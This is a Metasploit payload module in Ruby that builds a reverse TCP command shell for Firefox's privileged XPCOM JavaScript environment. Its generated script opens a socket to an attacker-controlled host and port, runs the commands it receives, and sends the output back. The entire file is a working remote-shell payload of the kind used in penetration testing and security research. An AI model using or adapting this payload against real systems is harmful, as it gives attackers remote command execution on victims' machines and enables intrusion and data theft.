1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = :dynamic
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Firefox
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
18
        'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
19
        'Author' => ['joev'],
20
        'License' => BSD_LICENSE,
21
        'Platform' => 'firefox',
22
        'Arch' => ARCH_FIREFOX,
23
        'Handler' => Msf::Handler::ReverseTcp,
24
        'Session' => Msf::Sessions::CommandShell,
25
        'PayloadType' => 'firefox'
26
      )
27
    )
28
  end
29

30
  def generate(_opts = {})
31
    <<-EOS
32

33
      (function(){
34
        window = this;
35

36
        Components.utils.import("resource://gre/modules/NetUtil.jsm");
37
        var host = '#{datastore['LHOST']}';
38
        var port = #{datastore['LPORT']};
39

40
        var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
41
                                .getService(Components.interfaces.nsISocketTransportService);
42
        var socket = socketTransport.createTransport(null, 0, host, port, null);
43
        var outStream = socket.openOutputStream(0, 0, 0);
44
        var inStream = socket.openInputStream(0, 0, 0);
45

46
        var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
47
                       .createInstance(Components.interfaces.nsIInputStreamPump);
48
        pump.init(inStream, -1, -1, 0, 0, true);
49

50
        #{read_until_token_source}
51

52
        var listener = {
53
          onStartRequest: function(request, context) {},
54
          onStopRequest: function(request, context) {},
55
          onDataAvailable: readUntilToken(function(data) {
56
            runCmd(data, function(err, output) {
57
              if (!err) outStream.write(output, output.length);
58
            });
59
          })
60
        };
61

62
        #{run_cmd_source}
63

64
        pump.asyncRead(listener, null);
65
      })();
66

67
    EOS
68
  end
69
end
70

71